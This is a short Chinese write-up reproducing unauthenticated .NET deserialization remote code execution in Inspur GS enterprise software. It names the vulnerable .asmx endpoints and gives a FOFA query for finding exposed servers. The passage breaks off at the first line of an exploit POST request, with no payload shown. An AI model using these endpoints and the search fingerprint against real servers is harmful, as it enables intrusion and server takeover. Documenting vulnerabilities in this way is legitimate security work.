浪潮GS企业管理软件 多处 .NET反序列化RCE漏洞复现

0x01 产品简介

浪潮GS企业管理软件产品是一款面向大中型集团企业的全面解决方案，它基于Microsoft.NET技术路线和SOA（面向服务的架构）,采用SOA架构和先进开放的GSP应用中间件开发，支持Web服务和Xml进行远程通信及数据交换。旨在帮助大中型集团企业实现资源整合、流程优化和智能决策，提升管理水平和竞争力。

0x02 漏洞概述

浪潮GS企业管理软件 bizintegrationwebservice.asmx、xtdysrv.asmx、GSP_UnitDefineWebService.asmx 等接口处存在.net反序列化漏洞，未经身份验证的远程攻击者可利用此漏洞执行任意系统命令，写入后门文件，获取服务器权限。

0x03 复现环境

FOFA：

body="/cwbase/web/scripts/jquery.js" || icon_hash="-1341069524"

0x04 漏洞复现 

Exp-1

POST /cwbase/gsp/webservice/bizintegrationwebserv